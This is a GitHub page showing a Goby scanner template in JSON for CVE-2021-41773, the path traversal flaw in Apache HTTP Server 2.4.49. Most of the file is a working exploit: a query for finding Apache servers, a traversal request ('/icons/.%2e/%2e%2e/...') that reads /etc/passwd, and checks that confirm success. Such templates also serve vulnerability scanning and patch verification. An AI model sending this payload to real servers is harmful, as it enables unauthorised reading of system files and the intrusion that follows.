-
Notifications
You must be signed in to change notification settings - Fork 0
/
Apache_HTTP_Server_Arbitrary_File_Read_CVE_2021_41773.json
105 lines (105 loc) · 4.28 KB
/
Apache_HTTP_Server_Arbitrary_File_Read_CVE_2021_41773.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
{
"Name": "Apache HTTP Server Arbitrary File Read(CVE-2021-41773)",
"Level": "2",
"Tags": [
"fileread"
],
"GobyQuery": "(server=\"Apache/2.4.49\"||product=\"Apache-Web-Server\"||server=\"Apache\")",
"Description": "A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied\", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.",
"Product": "Apache HTTP Server",
"Homepage": "http://httpd.apache.org/",
"Author": "aetkrad",
"Impact": "<p>read arbitrary files<br></p>",
"Recommendation": "",
"References": [
"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773"
],
"HasExp": true,
"ExpParams": [
{
"Name": "Filepath",
"Type": "input",
"Value": "/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "root:x:0:0:root:",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody||"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "root:x:0:0:root:",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody||"
]
}
],
"PostTime": "2021-10-28 10:10:27",
"GobyVersion": "1.8.302"
}